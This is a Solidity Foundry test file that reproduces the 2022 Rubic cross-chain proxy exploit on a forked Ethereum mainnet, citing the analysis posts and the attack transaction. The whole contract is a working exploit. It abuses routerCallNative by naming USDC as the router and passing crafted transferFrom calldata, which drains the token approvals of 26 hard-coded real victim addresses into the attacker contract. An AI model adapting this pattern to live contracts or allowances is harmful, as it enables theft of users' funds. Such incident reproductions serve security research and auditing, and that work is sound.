src/test/2022-12/Rubic_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1606993118901198849
9// https://twitter.com/peckshield/status/1606937055761952770
10// @TX
11// https://etherscan.io/tx/0x9a97d85642f956ad7a6b852cf7bed6f9669e2c2815f3279855acf7f1328e7d46
12 
13interface RubicProxy1 {
14    struct BaseCrossChainParams {
15        address srcInputToken;
16        uint256 srcInputAmount;
17        uint256 dstChainID;
18        address dstOutputToken;
19        uint256 dstMinOutputAmount;
20        address recipient;
21        address integrator;
22        address router;
23    }
24 
25    function routerCallNative(BaseCrossChainParams calldata _params, bytes calldata _data) external;
26}
27 
28interface RubicProxy2 {
29    struct BaseCrossChainParams {
30        address srcInputToken;
31        uint256 srcInputAmount;
32        uint256 dstChainID;
33        address dstOutputToken;
34        uint256 dstMinOutputAmount;
35        address recipient;
36        address integrator;
37        address router;
38    }
39 
40    function routerCallNative(
41        string calldata _providerInfo,
42        BaseCrossChainParams calldata _params,
43        bytes calldata _data
44    ) external;
45}
46 
47contract ContractTest is Test {
48    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
49    RubicProxy1 Rubic1 = RubicProxy1(0x3335A88bb18fD3b6824b59Af62b50CE494143333);
50    RubicProxy2 Rubic2 = RubicProxy2(0x33388CF69e032C6f60A420b37E44b1F5443d3333);
51    address integrators = 0x677d6EC74fA352D4Ef9B1886F6155384aCD70D90;
52 
53    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
54 
55    function setUp() public {
56        cheats.createSelectFork("mainnet", 16_260_580);
57    }
58 
59    function testExploit() external {
60        address[] memory victims = new address[](26);
61        victims[0] = 0x6b8D6E89590E41Fa7484691fA372c3552E93e91b;
62        victims[1] = 0x036B5805F9175297Ec2adE91678d6ea0a1e2272A;
63        victims[2] = 0xED9c18C5311DBB2b757B6913fB3FE6aa22b1A5b0;
64        victims[3] = 0xff266f62a0152F39FCf123B7086012cEb292516A;
65        victims[4] = 0x90d9b9CC1BFB77d96f9a44731159DdbcA824C63D;
66        victims[5] = 0x1dAeB36442d0B0B28e5c018078b672CF9ee9753B;
67        victims[6] = 0xF2E3628f7A85f03F0800712DF3c2EBc5BDb33981;
68        victims[7] = 0xf3f4470d71b94CD74435e2e0f0dE0DaD11eC7C5a;
69        victims[8] = 0x915E88322EDFa596d29BdF163b5197c53cDB1A68;
70        victims[9] = 0xD6aD4bcbb33215C4b63DeDa55de599d0d56BCdf5;
71        victims[10] = 0x2afeF7d7de9E1a991c385a78Fb6c950AA3487dbA;
72        victims[11] = 0x21FeBbFf2da0F3195b61eC0cA1B38Aa1f7105cDb;
73        victims[12] = 0xDbDDb2D6F3d387c0dDA16E197cd1E490543354e1;
74        victims[13] = 0x58709C660B2d908098FE95758C8a872a3CaA6635;
75        victims[14] = 0xD2C919D3bf4557419CbB519b1Bc272b510BC59D9;
76        victims[15] = 0xfE243903c13B53A57376D27CA91360C6E6b3FfAC;
77        victims[16] = 0xd5BD9464eB1A73Cca1970655708AE4F560Efc6D1;
78        victims[17] = 0xd6389E37f7c2dB6De56b92f430735D08d702111E;
79        victims[18] = 0x9f3119BEe3766b2CD25BF3808a8646A7F22ccDDC;
80        victims[19] = 0x8a4295b205DD78Bf3948D2D38a08BaAD4D28CB37;
81        victims[20] = 0xf4BA068f3F79aCBf148b43ae8F1db31F04E53861;
82        victims[21] = 0x48327499E4D71ED983DC7E024DdEd4EBB19BDb28;
83        victims[22] = 0x192FcF067D36a8BC9322b96Bb66866c52C43B43F;
84        victims[23] = 0x82Bdfc6aBe9d1dfA205f33869e1eADb729590805;
85        victims[24] = 0x44a59A1d38718c5cA8cB6E8AA7956859D947344B;
86        victims[25] = 0xD0245a08f5f5c54A24907249651bEE39F3fE7014;
87 
88        RubicProxy1.BaseCrossChainParams memory _params1 = RubicProxy1.BaseCrossChainParams({
89            srcInputToken: address(0),
90            srcInputAmount: 0,
91            dstChainID: 0,
92            dstOutputToken: address(0),
93            dstMinOutputAmount: 0,
94            recipient: address(0),
95            integrator: integrators,
96            router: address(USDC)
97        });
98        RubicProxy2.BaseCrossChainParams memory _params2 = RubicProxy2.BaseCrossChainParams({
99            srcInputToken: address(0),
100            srcInputAmount: 0,
101            dstChainID: 0,
102            dstOutputToken: address(0),
103            dstMinOutputAmount: 0,
104            recipient: address(0),
105            integrator: integrators,
106            router: address(USDC)
107        });
108        uint256 amount;
109        for (uint256 i = 0; i < 8; i++) {
110            uint256 victimsBalance = USDC.balanceOf(victims[i]);
111            uint256 victimsAllowance = USDC.allowance(address(victims[i]), address(Rubic1));
112            amount = victimsBalance;
113            if (victimsBalance >= victimsAllowance) {
114                amount = victimsAllowance;
115            }
116            bytes memory data =
117                abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), amount);
118            Rubic1.routerCallNative(_params1, data);
119        }
120        for (uint256 i = 8; i < victims.length; i++) {
121            uint256 victimsBalance = USDC.balanceOf(victims[i]);
122            uint256 victimsAllowance = USDC.allowance(address(victims[i]), address(Rubic2));
123            amount = victimsBalance;
124            if (victimsBalance >= victimsAllowance) {
125                amount = victimsAllowance;
126            }
127            bytes memory data =
128                abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), amount);
129            Rubic2.routerCallNative("", _params2, data);
130        }
131 
132        emit log_named_decimal_uint(
133            "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
134        );
135    }
136}